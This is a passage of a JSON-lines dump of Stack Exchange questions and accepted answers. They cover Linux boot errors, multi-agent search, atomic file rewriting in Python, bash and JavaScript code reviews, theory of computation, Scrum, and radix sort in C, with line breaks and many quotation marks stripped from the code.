{  "id": "_unix.306877"  , "question": "I installed Kali Linux 2016.1 x86 onto my Dell Latitude 2120 via a USB drive. However, when I boot my computer, it shows the screen GNU GRUB version 2.02 beta2-33. I can select Kali GNU/Linux or Advanced options, but when I launch Kali GNU/Linux, I get some errors:/dev/sda contains a file system with errors, check forced.  ...  /dev/sda1: UNEXPECTED INCONSISTENCY. RUN fsck MANUALLY.  ...  /bin/sh: can't access tty: job control turned off.  All those errors then just sit there in the terminal, but where it would normally say root@kali# or pull up some kind of GUI, it just says (initramfs) followed by a flashing _ indicating that I can enter a command. I've done fsck, and all it says is fsck from util-linux 2.27.1 and waits for me to enter another command. I've tried startx, x, and gdm3, but they all just spit out /bin/sh: [command I entered]: not found"  , "title": "Kali won't load gui or command line"  , "tags": "ubuntu;kali linux;grub;gnu"  } 
{  "id": "_cs.75312"  , "question": "Say we had two agents and we want them both to traverse a map concurrently.Their goal is to collectively visit a collection of certain points on the map. If there was just one agent, it would be simple enough to just implement BFS or A* and get a good solution. But considering there are two, how can we divide the points to be visited among the two agents in such a way that no steps (or minimal steps) are wasted in visiting all the points?Edit/Clarification:-The points do not need to be visited in a particular order.-If there was only one agent, I could get a possible solution with a BFS or A* where the goal state is all the points having been visited.Edit 2: PicturesAn example of the problem might be as seen below. Agents start at the top left of the maze and the goal is a state space where all the red dots have been visited.A possible path that might be returned by BFS with a single agent:What I would like to achieve with multiple agents:"  , "title": "Dividing a set of goals among two search agents"  , "tags": "graphs;search algorithms;search trees;traveling salesman"  } 
{  "id": "_webmaster.101410"  , "question": "We've recently made some changes so that our site can be included as an iframe widget on other websites.Can we expect this to give us any SEO boost?I can only find information about the effect (or lack of effect) that you get from including someone else's iframe in your own site (this question for example)"  , "title": "SEO effects of being embedded on other websites"  , "tags": "seo;iframe"  , "accepted_answer": "Google does not like links generated from widgets and will penalize sites that use them.However, some widgets add links to a site that a webmaster did not editorially place and contain anchor text that the webmaster does not control. Because these links are not naturally placed, they're considered a violation of Google Webmaster Guidelines.So, if by placing this widget on other site you somehow generate incoming links, you run the risk of being penalized by Google. If this does not generate links to your site through the widget it really won't make a difference either way. To summarize, if your site is just an iframe with no provided by <link to your site> you should be okay. But being the content is in an iframe I wouldn't expect any kind of SEO boost."  } 
{  "id": "_codereview.169324"  , "question": "I'm very new to Python, and far away from writing my own scripts. For my work with lilypond I needed a script that parses a text file, searches for a string and inserts another textfile before the match. I have been searching quite a lot for this kinda script and I did not find any. I ended up combining the snippets I found on here and other sites and came up with this script, which is working:#!/usr/bin/env python# usage:# $ python thisfile.py text.txt searchstring insert.txtimport sysf2 = open(sys.argv[3])data = f2.read()f2.close()with open(sys.argv[1], r+) as f1:    a = [x.rstrip() for x in f1]    index = 0    for item in a:        if item.startswith(sys.argv[2]):            a.insert(index, data)            break        index += 1    f1.seek(0)    f1.truncate()    for line in a:        f1.write(line + \\n)I also got a very detailed answer on Stack Overflow, telling what is actually going on in the code, before I was far away from understanding any detail.What I got out of it so far is the following problem:If anything would go wrong with reading in the data from f1 or f2, f1.truncate() would delete the original content of f2, then not being able to (re)write the appropriate content the content would get lost. A much more secure way would be using some kind of temporary file, or at least moving the original content of f1 there before calling truncate().I would be glad for any comments on this problem, and any others if there are."  , "title": "Python script searching for string in textfile and inserting another textfile before match"  , "tags": "python;parsing"  , "accepted_answer": "The problem is a general one in data processing, one that programmers have to think about all the time! When changing a file \\$F\\$ from \\$A\\$ to \\$B\\$ it's tempting to implement it like this:Read \\$A\\$ from \\$F\\$.Compute \\$B\\$ from \\$A\\$.Delete \\$F\\$.Write \\$B\\$ to \\$F\\$.But we need to consider the possibility that something will go wrong. Maybe the user will type control-C on the keyboard and interrupt the program? Maybe there will be a power cut? Maybe the disk will not have enough room for \\$B\\$? If any of these things happened after step 3 and before step 4, then you would be left in a situation where \\$F\\$ contains neither \\$A\\$ nor \\$B\\$. So you have lost your data and can't get it back.This is why we try to design systems so that operations are atomic  either they succeed completely or they fail completely. In this case we would use the following procedure:Read \\$A\\$ from \\$F\\$.Compute \\$B\\$ from \\$A\\$.Write \\$B\\$ to a temporary location \\$G\\$.Replace \\$F\\$ with \\$G\\$.This works because operating systems (usually!) give us an atomic implementation of step 4. In Python we can use os.rename, where you can see that the documentation says:If successful, the renaming will be an atomic operationIn this design, if something goes wrong before step 4, the file \\$F\\$ still contains \\$A\\$, and so we haven't lost our data, and so we have a chance to fix the problem and try again.So in this case, I'd write something like this (but this is not tested, so don't use it blindly!):import osimport shutilimport sysimport tempfile# usage:# $ python thisfile.py text.txt searchstring insert.txttext_file, searchstring, insert_file = sys.argv[1:]with tempfile.NamedTemporaryFile('w', delete=False) as temp:    with open(text_file) as f1:        inserted = False # Have we inserted insert_file yet?        for f1_line in f1:            if not inserted and f1_line.startswith(searchstring):                with open(insert_file) as f2:                    for f2_line in f2:                        temp.write(f2_line)                inserted = True            temp.write(f1_line)os.rename(temp.name, text_file)Here I've used the library function tempfile.NamedTemporaryFile to choose somewhere to put the temporary file.UpdateSo here's another reason why it's a good idea to make operations atomic  you might have made a programming error! The code I wrote above works correctly on my operating system (macOS) but as it says in the os.rename documentation:The operation may fail on some Unix flavors if src and dst are on different filesystemsSo I'm guessing that you're on some kind of Linux system. On these systems you've got to ensure that the temporary file \\$G\\$ is on the same filesystem as \\$F\\$, and the only reliable way to do that is to put it in the same directory as \\$F\\$:import osimport shutilimport sysimport tempfile# usage:# $ python thisfile.py text.txt searchstring insert.txttext_file, searchstring, insert_file = sys.argv[1:]# Directory and name of text_file.dirname, basename = os.path.split(text_file)# Create temporary file in same directory as text_file.with tempfile.NamedTemporaryFile('w', dir=dirname, prefix=basename,                                 delete=False) as temp:    with open(text_file) as f1:        inserted = False # Have we inserted insert_file yet?        for f1_line in f1:            if not inserted and f1_line.startswith(searchstring):                with open(insert_file) as f2:                    for f2_line in f2:                        temp.write(f2_line)                inserted = True            temp.write(f1_line)os.rename(temp.name, text_file)Writing reliable code that works on different platforms is not easy!"  } 
{  "id": "_codereview.114536"  , "question": "This is a script that must send an email at each new article published on a specific website. Any suggestions or improvements to do?SENDER_EMAIL=sender@example.comTO_EMAIL=myemail@example.comRSS_SITE=example.com/feed.xmlCHECK_INTERVAL=10while [ 1 ]; do    LINK_ARTICLE=$(rsstail -i 1 -u $RSS_SITE -l -n 0 -1 | grep -oP Link:+ \\K.*)    TITLE_ARTICLE=$(rsstail -i 1 -u $RSS_SITE -n 0 -1 | grep -oP Title:+ \\K.*)    if [ $LINK_ARTICLE !=  ] && [ $TITLE_ARTICLE !=  ]; then        echo New article published on the site. TITLE: $TITLE_ARTICLE - LINK: $LINK_ARTICLE | EMAIL=$SENDER_EMAIL  mutt -s Nuovo Articolo BDO $TO_EMAIL        echo New article published on the site. TITLE: $TITLE_ARTICLE - LINK: $LINK_ARTICLE    fi    sleep $CHECK_INTERVALdone"  , "title": "Notification script | from RSS to Email | Bash"  , "tags": "bash;linux"  , "accepted_answer": "I see a number of things that may help you improve your code.Use shebang lineThe shebang is the line at the beginning of a shell script that tells which program to use.  In this case, you probably want this:#! /usr/bin/env bashSee this question for details.Consider using cron instead of sleepIf this is something you want to run automatically, consider running it as a cron tab instead of using sleep within the script.Include some commentsThe program requires rsstail, mutt and sleep which is a requirement that should be documented in a comment.Be cautious about handing variables to programsThe mutt program, like many Linux programs, has a -- option which specifies that no further options are on the command line.  This prevents the contents of $TO_EMAIL in a line like the following from being misinterpreted as a command line option.mutt -s $TITLE -- $TO_EMAIL < $BODYTEXTCombine stringsThe echo is used twice with an identical string.  An alternative approach is TITLE=Nuovo Articolo BDOBODYTEXT=New article published on the site. TITLE: $TITLE_ARTICLE - LINK: $LINK_ARTICLEmutt -s $TITLE -- $TO_EMAIL < $BODYTEXTecho $BODYTEXTAvoid creating extraneous variablesInstead of creating SENDER_EMAIL, you could just specify EMAIL and then the reassignment of the latter variable before mutt is called would not be necessary.Consider writing a portable scriptBy sticking closely with Posix and avoiding bashisms your code could run on many different kinds of systems, including recent versions of Ubuntu which don't use bash."  } 
{  "id": "_webmaster.78669"  , "question": "I have a website in a shared hosting environment. Recently I found out that I can load other websites' contents using my own domain through URLs like mysite.com/~othersite/. This has resulted in Google indexing a malicious phishing website through my domain and sent me warning emails about it.Tech support say this is normal behavior and if it bothers me I should upgrade to a VPS. They confirmed that I cannot correct this in my own .htaccess file or by other means as this happens at a higher level.My question: Is this the usual, best-practice configuration for shared hosting environments or is the hosting company incompetent (or deliberately creating inconvenience to motivate upgrading)?Am I requesting something overly technically complicated when I say that content from website X should under no circumstances be returned when the request is addressed with the domain of website Y? Is this an unrealistic expectation in a shared environment?"  , "title": "Other websites' content accessible through own domain in shared hosting?"  , "tags": "shared hosting"  } 
{  "id": "_unix.320821"  , "question": "I have a shell script that I created to change the next EFI boot then execute a reboot.  If I execute it in a terminal window it works fine, but if I execute it using an Icon in KDE it reboots, but does not change the next efiboot.  I have tried setting the Icon to run as root, but that didn't make a difference.Here is the script#!/bin/bashkdialog --title Reboot to Windows Prompt --yesno Are you sure you want to reboot to Windows?;if [ $? = 0 ]; then    sudo efibootmgr -n 0    rebootelse    kdialog --msgbox Reboot aborted by userfiSomeone even suggested having a pause between the efibootmgr and the reboot, but that didn't work either."  , "title": "Shell script works different in KDE vs Terminal"  , "tags": "shell;sudo;kde;privileges;terminal emulator"  , "accepted_answer": "Not sure if it's what you're looking for, but have you considered launching a terminal + executing your script from an icon.Right click the icon > Icon Settings > Applicaiton > Command:konsole -e /path/to/your/script.shOr if you need the window to stay open for some reason use -noclose"  } 
{  "id": "_webmaster.3"  , "question": "I've noticed that Chrome and Firefox take different amounts of time to render certain things. In general, Chrome has been faster. What should I know about both of them (and IE8/9, too, I guess) when constructing a Javascript/jQuery app?"  , "title": "What are the differences between Firefox's Javascript engine and Chrome's V8?"  , "tags": "google chrome;javascript;firefox;jquery"  , "accepted_answer": "Actually, Spidermonkey (FF) and V8 (Chrome) are very similar in the core javascript engine API in that both try to be standards compliant.  The main difference is that Spidermonkey tends to add some nice extras to their API if they feel it is needed.  All of this is found at the Mozilla Development Center (MDC) for JavaScript and well documented if it is not a standard.  On a side note, I personally search the MDC as my primary source for the JavaScript API.This story is entirely different for IE.  While most of the core API such as Math and String are the same, IE differs greatly when it comes to the document object, and any manipulation therein I would agree with balexandre and say that jQuery does a very good job at taking care of that mess for you.The last thing that I will mention is while each engine will process the JavaScript code differently (some faster, some slower, etc.), but this can mostly be considered a black box and all you should need to worry about are the differences in the APIs."  } 
{  "id": "_codereview.87316"  , "question": "String.prototype.replaceAll = function(find, replace) {    if (typeof find == 'string') return this.split(find).join(replace);    var t = this, i, j;    while (typeof(i = find.shift()) == 'string' && typeof(j = replace.shift()) == 'string') t = t.replaceAll(i || '', j || '');    return t;};function html(input, replaceQuoteOff) {    if (replaceQuoteOff) return input.toString().replaceAll(['&', '<'], ['&amp;', '&lt;']);    return input.toString().replaceAll(['&', '<', ''], ['&amp;', '&lt;', '&quot;']);}function warning(message) {    console.log(message);}function spanMarkdown(input) {    input = html(input);    while (input.match(/\\^([\\w\\^]+)/)) input = input.replace(/\\^([\\w\\^]+)/, '<sup>$1</sup>');    return input        .replaceAll('\\u0001', '^')        .replace(/\\[(.+?)\\|(.+?)\\]/g, '<abbr title=$2>$1</abbr>')        .replaceAll('\\u0002', '[')        .replace(/\\[\\[(\\d+)\\](.*?)\\]/g, '<sup class=reference title=$2>[$1]</sup>')        .replace(/!\\[([^\\]]+)]\\((https?:\\/\\/[^\\s(\\\\]+\\.[^\\s\\\\]+)\\)/g, '<img alt=$1 src=$2 />')        .replace(/^(https?:\\/\\/([^\\s(\\\\]+\\.[^\\s\\\\]+\\.(svg|png|tiff|jpg|jpeg)(\\?[^\\s\\\\\\/]*)?))/g, '<img src=$1 />')        .replace(/\\[([^\\]]+)]\\((https?:\\/\\/[^\\s(\\\\]+\\.[^\\s\\\\]+)\\)/g, '$1'.link('$2'))        .replace(/([^;[\\\\])(https?:\\/\\/([^\\s(\\\\]+\\.[^\\s\\\\]+\\.(svg|png|tiff|jpg|jpeg)(\\?[^\\s\\\\\\/]*)?))/g, '$1<img src=$2 />')        .replace(/([^;[\\\\])(https?:\\/\\/([^\\s(\\\\]+\\.[^\\s\\\\]+))/g, '$1' + '$3'.link('$2'))        .replace(/^(https?:\\/\\/([^\\s(\\\\]+\\.[^\\s\\\\]+))/g, '$2'.link('$1'));}function inlineMarkdown(input) {    var output = '',        span = '',        current = [],        tags = {            '`': 'code',            '``': 'samp',            '*': 'em',            '**': 'strong',            '_': 'i',            '': 's',            '+++': 'ins',            '---': 'del',            '[c]': 'cite',            '[m]': 'mark',            '[u]': 'u',            '[v]': 'var',            '::': 'kbd',            '': 'q'        },        stags = {            sup: {                start: '^(',                end: ')^'            },            sub: {                start: 'v(',                end: ')v'            },            small: {                start: '[sm]',                end: '[/sm]'            }        };    outer: for (var i = 0; i < input.length; i++) {        if (['code', 'samp'].indexOf(current[current.length - 1]) == -1) {            if (input[i] == '\\\\') span += input[++i].replace('^', '\\u0001').replace('[', '\\u0002');            else {                for (var l = 3; l > 0; l--) {                    if (tags[input.substr(i, l)]) {                        output += spanMarkdown(span);                        span = '';                        if (current[current.length - 1] == tags[input.substr(i, l)]) output += '</' + current.pop() + '>';                        else {                            if (current.indexOf(tags[input.substr(i, l)]) != -1) warning('Illegal nesting of ' + input.substr(i, l) + '');                            output += '<' + tags[input.substr(i, l)] + '>';                            current.push(tags[input.substr(i, l)]);                        }                        i += l - 1;                        continue outer;                    }                }                for (var j in stags) {                    for (var l = 5; l > 0; l--) {                        if (stags[j].start == input.substr(i, l)) {                            output += spanMarkdown(span) + '<' + j + '>';                            span = '';                            current.push(stags[j].end);                            i += l - 1;                            continue outer;                        } else if (stags[j].end == input.substr(i, l)) {                            if (current[current.length - 1] == stags[j].end) {                                output += spanMarkdown(span) + '</' + j + '>';                                span = '';                                current.pop();                                i += l - 1;                                continue outer;                            } else warning('Illegal close tag ' + stags[j].end + ' found');                        }                    }                }                span += input[i];            }        } else if (current[current.length - 1] == 'code' && input[i] == '`') {            current.pop();            output += '</code>';        } else if (current[current.length - 1] == 'samp' && input.substr(i, 2) == '``') {            current.pop();            output += '</samp>';            i++;        } else output += html(input[i]);    }    output += spanMarkdown(span);    if (current.length) warning('Unclosed tags. <' + current.join('>, <') + '>');    for (var i = current.length - 1; i >= 0; i--) output += '</' + current[i] + '>';    return output;}This only parses inline markdown and converts it to HTML (on both node.js and client-side). It doesn't conform to commonmark or any other specification. This is related to:Markdown to HTML which is a blob of regexpsMarkdown to HTML, again which has an interesting (confusing) split/map nesting (and didn't work with XHTML)This one basically goes thru character by character doing things based on the current state of the machine, similar the the (block) markdown function (that goes line by line) in the second question above ^.replaceAll() is used everywhere on my app, so it's not going to change, and I don't think fiddling with String.prototype is wrong.html() does an HTML escape. It doesn't escape everything and doesn't work for all cases, but I'm happy enough.warning() is just a function that collections whatever complaints inlineMarkdown has. This is just a console.log for testing, but I display the warnings to the user when using it client-side.spanMarkdown() deals with linkifying and simple inline-markdown things that can be done with regex  it's easy to add stuff like oneboxing here.inlineMarkdown() parses teh markdownz! (and depends on the other functions) tags contains simple tags, which have equivalent start and end markdown sequences and cannot be nested within themselves, while stags contains special tags which have different start and end tags. When looking for tags, it goes thru a loop testing to see if substrings of each length match, which looks messy.I don't know whether I should make non-parsed tags (code and samp) a dedicated expandable block so I can add any more without special-casing them.This parser is also pretty picky, so I've also got a (client-side) function to complain when a user enters markdown that doesn't make sense:HTMLTextAreaElement.prototype.mdValidate = function(correct) {    var i = mdWarnings.length;    markdown(this.value);    var preverr = this.previousSibling && this.previousSibling.classList.contains('md-err') ? this.previousSibling : null,        err = mdWarnings[i];    this.lastErrored = err && correct;    if (err && (correct || preverr || this.value.substr(0, this.selectionEnd || Infinity).match(/\\s$/))) {        if (preverr) {            if (preverr.firstChild.nodeValue == err) {                if (this.lastErrored && err && correct) {                    var input = this.value,                        output = '',                        span = '',                        current = [],                        tags = {                            '`': 'code',                            '``': 'samp',                            '*': 'em',                            '**': 'strong',                            '_': 'i',                            '': 's',                            '+++': 'ins',                            '---': 'del',                            '[c]': 'cite',                            '[m]': 'mark',                            '[u]': 'u',                            '[v]': 'var',                            '::': 'kbd',                            '': 'q'                        },                        stags = {                            sup: {                                start: '^(',                                end: ')^'                            },                            sub: {                                start: 'v(',                                end: ')v'                            },                            small: {                                start: '[sm]',                                end: '[/sm]'                            }                        };                    outer: for (var i = 0; i < input.length; i++) {                        if (['code', 'samp'].indexOf(current[current.length - 1]) == -1) {                            if (input[i] == '\\\\') span += input[++i];                            else {                                for (var l = 4; l >= 0; l--) {                                    if (tags[input.substr(i, l)]) {                                        output += span;                                        span = '';                                        if (['code', 'samp'].indexOf(tags[input.substr(i, l)]) == -1) output += '\\\\' + input.substr(i, l);                                        else if (current[current.length - 1] == tags[input.substr(i, l)]) {                                            current.pop();                                            output += '\\\\' + input.substr(i, l);                                        } else {                                            output += '\\\\' + input.substr(i, l);                                            current.push(tags[input.substr(i, l)]);                                        }                                        i += l - 1;                                        continue outer;                                    }                                }                                for (var j in stags) {                                    for (var l = 5; l >= 0; l--) {                                        if (stags[j].start == input.substr(i, l)) {                                            output += span + '\\\\' + input.substr(i, l);                                            span = '';                                            i += l - 1;                                            continue outer;                                        } else if (stags[j].end == input.substr(i, l)) {                                            if (current[current.length - 1] == stags[j].end) {                                                output += span + '\\\\' + input.substr(i, l);                                                span = '';                                                i += l - 1;                                                continue outer;                                            }                                        }                                    }                                }                                span += input[i];                            }                        } else if (current[current.length - 1] == 'code' && input[i] == '`') {                            current.pop();                            output += '`';                        } else if (current[current.length - 1] == 'samp' && input.substr(i, 2) == '``') {                            current.pop();                            output += '``';                            i++;                        } else output += input[i];                    }                    output += span;                    if (current[current.length - 1] == 'code' && input[i] == '`') {                        output += '`';                    } else if (current[current.length - 1] == 'samp' && input.substr(i, 2) == '``') {                        output += '``';                    }                    this.value = output;                                    return true;                }                return err;            }            preverr.parentNode.removeChild(preverr);        }        var span = document.createElement('span');        span.classList.add('md-err');        span.appendChild(document.createTextNode(err));        this.parentNode.insertBefore(span, this);    } else if (preverr) preverr.parentNode.removeChild(preverr);    return err;};function mdValidateBody() {    setTimeout(function(e) {        e.mdValidate();    }, 0, document.activeElement);}Basically, when a form is submitted, <textarea>s with markdown are scanned for errors withif (mytextarea.mdValidate(true)) ohnoes.stopFormSubmission()If they exist the function will display an error message. If they submit again, it will automatically escape the markdown in an attempt to correct (the boolean argument) the error, using some of the same code from inlineMarkdown.What can I do to improve these functions?"  , "title": "A character-by-character inline markdown parser"  , "tags": "javascript;html;parsing;reinventing the wheel;markdown"  } 
{  "id": "_datascience.8660"  , "question": "I've just read Jeff Hintons paper on transforming autoencoders Hinton, Krizhevsky and Wang: Transforming Auto-encoders. In Artificial Neural Networks and Machine Learning, 2011.and would quite like to play around with something like this. But having read it I couldn't get enough detail from the paper on how I might actually implement it. Does anyone know how the mapping between input pixels to capsules should work? What exactly should be happening in the recognition units?How it should be trained? Is it just standard back prop between every connection?Even better would be a link to some source code for this or something similar."  , "title": "Transforming AutoEncoders"  , "tags": "neural network;autoencoder"  } 
{  "id": "_unix.349176"  , "question": "I'm working with some CSV files generated by YouTube (so I cannot change the source structure). In the CSV file, some records span multiple lines.  A hypothetical example with many other columns omitted for brevity is as follows:video_id, upload_time, title, policyoHg5SJYRHA0, 2007/05/15, RickRoll'D, Monetize in all countries except: CU, IR, KP, SD, SYTrack in countries: CU, IR, KPBlock in countries: SD, SYdQw4w9WgXcQ, 2009/10/24, Rick Astley - Never Gonna Give You Up, Monetize in all countries except: CU, IR, KP, SD, SYTrack in countries: CU, IR, KP, SD, SYA typical file contains hundreds of thousands of records if not millions of records (one file is 29.57GB in size), which is too big to process in one go, so I would like to split them up into smaller chunks for processing on separate machines. I've previously used split with -l on other report files and that works great when there is no newline in cells. In this case, if the split happens on a bad line (e.g.: line 4 of the example), then I have broken records in two files. Short of parsing the CSV file and then rebuilding it into multiple files, is there an effective way to split CSVs like this?"  , "title": "Splitting CSVs with multiline cells"  , "tags": "csv;newlines;split;text formatting"  , "accepted_answer": "You're going to want to parse the CSV file to re-emit it in smaller chunks the way you want it. During this operation, maybe you even want to re-emit it in a different, more rigorous, well-defined format (like, oh, I don't know, json).Your input file is in quite an unusual format. Python's csv module, for one, can't parse it, because it's got a multi-character delimiter: , (comma space) instead of the more common ,. Otherwise you'd be able to trivially parse and re-emit the file with 5 lines of Python.You'll have to find another parser that works, or write a small one. First, try to find out what the specifics of the format you've got on your hands are, like what the quoting rules are (e.g. what happens when a field quoted with  contains .)"  } 
{  "id": "_unix.374776"  , "question": "I'm working through Unix For Poets, and trying make a file containing all words/tokens in the Bible. However, when using tr, as suggested, this includes the empty string. See example below:> tr -sc 'A-Za-z' '[\\12*]' < bible.txt > bible.words> sed 5q bible.wordsTheProjectGutenbergEBookI have read through the man page for tr, without any luck. Any help with understanding why their included would be much appreciated. EDIT:First example:Line from bible.txt:1:1 Paul, a servant of Jesus Christ, called to be an apostle,Command which reproduces the unexpected result:> echo '1:1 Paul, a servant of Jesus Christ, called to be an apostle,' | tr -sc 'A-Za-z' '[\\12*]'PaulaservantofJesusChristcalledtobeanapostleExpected output:PaulaservantofJesusChristcalledtobeanapostleSecond example:Line from bible.txt:The Project Gutenberg Ebook of The King James Bible command with same unexpected result:echo 'The Project Gutenberg EBook of The King James Bible  ' | tr -sc 'A-Za-z' '[\\12*]'TheProjectGutenbergEBookofTheKingJamesBibleExpected output:TheProjectGutenbergEBookofTheKingJamesBibleNote its the prefix empty line I don't understand."  , "title": "Why does tr -sc 'A-Za-z' '[\\12*]' includes empty line?"  , "tags": "tr"  , "accepted_answer": "You need to understand the tr options at work here to know what's going on.-c => complement the first character set. Means, any chars not found in the first char set are to be selected. In your case, 'A-Za-z' will imply any nonalphabetics like a space, a number, a newline, a control char would be chosen.-s => multiple consecutive chosen chars are to be squashed in as a one.The second set is the chars that are to be mapped into. \\12 is the octal ascii for a newline.That means all alphabets(both upper & lower case) are to be left untouched whilst runs of non-alphabetics shall be turned into a single newline:     ----     --        --------     -     -       -----      ----$#%! This     is        StarWars     R2    D2      robot     @work.|---|    |---|  |------|        |---| |---| |-----|     |----|    || \\n        \\n      \\n             \\n    \\n     \\n         \\n      \\n All the alphabets are untouched while a run of multiple nonalphabets are turned into newlines.output:ThisisStarWarsRDrobotwork"  } 
{  "id": "_cs.59665"  , "question": "In his 1973 paper On the notion of a random sequence, Levin states (without proving) a characterization of Martin-Lf randomness by writingTheorem 3. A sequence $\\alpha$ is random w.r.t. the distribution $P$ in the Martin-Lf sense if and only if the probability ratio $P(\\alpha_n)/ R(\\alpha_n)$ is bounded belowwhere $R$ is the universal semicomputable (semi)measure. I feel a bit confused how this ratio could not be bounded below, being the ratio of two positive quantities it should always be bounded below by $0$."  , "title": "Martin-Lf randomness characterization"  , "tags": "randomness;kolmogorov complexity"  , "accepted_answer": "The ratio should be bounded below by a positive constant. Equivalently, its infimum should be positive."  } 
{  "id": "_cs.72166"  , "question": "Is there a term for programming languages that read like written sentences? I'm thinking of languages like Python, where you can almost read the code aloud as a sentence, as opposed to C++ which is really arcane.For example, in Python if 'pizza' not in animals is very clear when read aloud.Seems like maybe there's a formal term for this?"  , "title": "Term for programming languages that read like sentences?"  , "tags": "terminology;programming languages"  , "accepted_answer": "I know of no standard term for that aspect of PL. Maybe you can use human-readable syntax or human-friendly syntax. In PL theory, we (unapologetically) tend to disregard syntactic issues (e.g., look at LISP), and focus more on language features / semantics / types and more math-y stuff. I mean: if you asked me what are the main differences between C++ and Python, I would probably spend a long time before mentioning some syntactic difference.For practical applications, of course, having a more human-centric design that the one offered by pure theory is important. A clean and easy syntax is certainly quite convenient to read and write.Note that, if a PL pushes this principle to extremes, and employs a syntax which is very close to natural language, it could possibly harm productivity. This is because, natural languages can be quite ambiguous, and when programming you really need to be rigorous. Trying to oversimplify a PL by completely removing the math-y aspects of PL is probably not a good idea.COBOL is arguably more human-readable than Python, but it's hardly better. x = y+z is simpler than ADD Y to Z GIVING X."  } 
{  "id": "_cs.6385"  , "question": "Introduction: I recently learned that a multi-tape Turing Machine $\\text{TM}_k$  is no more powerful than a single tape Turing machine $\\text{TM}$. The proof that  $\\text{TM}_k \\equiv \\text{TM}$ is based on the idea that a $\\text{TM}$ can simulate a $\\text{TM}_k$ by using a unique character to separate the respective areas of each of the $k$ tapes.Given this idea, how would we prove that a process taking $t(n)$ time on a $\\text{TM}_k$ can be simulated by a 2-tape Turing machine $\\text{TM}_2$ with $ O(t(n))\\log(t(n))$ time?"  , "title": "Multitape Turing machines against single tape Turing machines"  , "tags": "time complexity;turing machines;simulation;tape complexity"  , "accepted_answer": "Look at the original paper by Hennie and Stearns:F.C. Hennie and R.E. Stearns, Two-Tape Simulation of Multitape Turing Machines, Journal of the ACM (JACM), Volume 13 Issue 4, Oct. 1966, pp. 533-546The construction is a little bit elaborate, but not extremely difficult to understand. The basic idea is to store and keep the current symbol of each tape in the same fixed column (home column) and simulate a shift of the $k$ tapes using a series of partially filled buffers of increasing length placed on the two tapes on the left and right side of the home column in order to avoid a full shift (that would require $O(t(n)^2)$ steps). If you need further help, modify the question and ask about the points in the paper that are not clear."  } 
{  "id": "_softwareengineering.224798"  , "question": "I am a big fan of agile development and used XP on a very successful project a few years ago. I loved everything about it, the iterative development approach, writing code around a test, pair programming, having a customer on site to run things by. It was a highly productive work environment and I never felt like I was under pressure.However the last few places I have worked use/used Scrum. I know it's the poster child for agile development these days but I'm not 100% convinced it is agile. Below are the two main reasons why it just doesn't feel agile to me.Project Managers Love ItProject managers, who by their very nature are obsessed with timelines, all seem to love Scrum. In my experience they seem to use the Sprint Backlog as a means to track time requirements and keep a record of how much time was spent on a given task. Instead of using a whiteboard they all use an excel sheet, which each developer is required to fill out, religiously.In my opinion this is way too much documentation/time tracking for an agile process. Why would I waste time estimating how long a task is going to take me when I can just get on with the task itself. Or similarly why would I waste time documenting how long a task took when I can move onto the next task at hand.Standup MeetingsThe standup meetings in the previous place I worked were a nightmare. Everyday we had to explain what we had done yesterday and what what we were going to do that day. If we went over on our time estimate for a task the project manager would kick up a stink, and reference the Sprint Backlog as a means of showing of incompetent you are for not adhering to the timeline.Now I understand the need for communication but surely the tone of daily meetings should be lighthearted and focus on knowledge sharing. I don't think it should turn into a where's your homework style charade. Also surely the hole point of agile is that timelines change, they shouldn't be set in stone.ConclusionThe idea of agile is to make the software better by making the developers life easier. Therefore in my opinion any agile process used by a team should be developer led. I don't think having a project manager use a process they have labeled agile to track a project has anything to do with agile development.Thoughts anyone?"  , "title": "Does anyone else feel Scrum isn't agile?"  , "tags": "agile;scrum"  , "accepted_answer": "Yes. Even one of the fathers of agile doesn't agree that Scrum is really agile : youtube.com/watch?v=hG4LH6P8Syk   EuphoricI think this link from one of the comments above really says it all. It's worth a watch, Uncle Bob gives a brief history on Scrum and basically says Scrum is not an Agile development process because Scrum has evolved over time to become a management process. The reasons behind this appear to be because it was project managers, and not developers, who were taking the Scrum courses."  } 
{  "id": "_codereview.169418"  , "question": "I was trying to optimize the Radix Sort code, because I never found a code that was simple and easy to understand yet wasn't any slower. I have seen codes on web and in some books that implement arbitrary radices such as 10 and others and also do modulo operation rather than bit-shifting. Those codes however have always been slower that their comparison based counterparts in the same language.Since Radix Sort runs in \\$O(n)\\$ time, I built up my version of Radix Sort which is coded below in C. I choose C language because of speed, however please correct me if I'm going wrong. The code also works for negative numbers too.I have optimized the code as far as I could go, and maybe I might have missed some more optimization techniques.Any ideas with which I can increase the execution speed ?Motivation for optimization:http://codercorner.com/RadixSortRevisited.htmhttp://stereopsis.com/radix.htmlI was unable to implement all the optimizations in the articles, as it was beyond my skills and understanding mostly and somewhat lack of sufficient time. Other techniques not included in them or out of the box would definitely help a lot.This is the pointer optimized version, long on my system is 32 bits.long* Radix_Sort(long *A, size_t N, long *Temp){    long Z1[256] ;    long Z2[256] ;    long Z3[256] ;    long Z4[256] ;    long T = 0 ;    while(T != 256)    {        *(Z1+T) = 0 ;        *(Z2+T) = 0 ;        *(Z3+T) = 0 ;        *(Z4+T) = 0 ;        ++T;    }    size_t Jump, Jump2, Jump3, Jump4;    // Sort-circuit set-up    Jump = *A & 255 ;    Z1[Jump] = 1;    Jump2 = (*A >> 8) & 255 ;    Z2[Jump2] = 1;    Jump3 = (*A >> 16) & 255 ;    Z3[Jump3] = 1;    Jump4 = (*A >> 24) & 255 ;    Z4[Jump4] = 1;    // Histograms creation    long *swp = A + N;    long *i = A + 1;    for( ; i != swp ; ++i)    {        ++Z1[*i & 255];        ++Z2[(*i >> 8) & 255];        ++Z3[(*i >> 16) & 255];        ++Z4[(*i >> 24) & 255];    }    // 1st LSB byte sort    if( Z1[Jump] == N );    else    {        swp = Z1+256 ;        for( i = Z1+1 ; i != swp ; ++i )        {            *i = *(i-1) + *i;        }        swp = A-1;        for( i = A+N-1 ; i != swp ; --i )        {            *(--Z1[*i & 255] + Temp) = *i;        }        swp = A;        A = Temp;        Temp = swp;    }    // 2nd LSB byte sort    if( Z2[Jump2] == N );    else    {        swp = Z2+256 ;        for( i = Z2+1 ; i != swp ; ++i )        {            *i = *(i-1) + *i;        }        swp = A-1;        for( i = A+N-1 ; i != swp ; --i )        {            *(--Z2[(*i >> 8) & 255] + Temp) = *i;        }        swp = A;        A = Temp;        Temp = swp;    }    // 3rd LSB byte sort    if( Z3[Jump3] == N );    else    {        swp = Z3 + 256 ;        for( i = Z3+1 ; i != swp ; ++i )        {            *i = *(i-1) + *i;        }        swp = A-1;        for( i = A+N-1 ; i != swp ; --i )        {            *(--Z3[(*i >> 16) & 255] + Temp) = *i;        }        swp = A;        A = 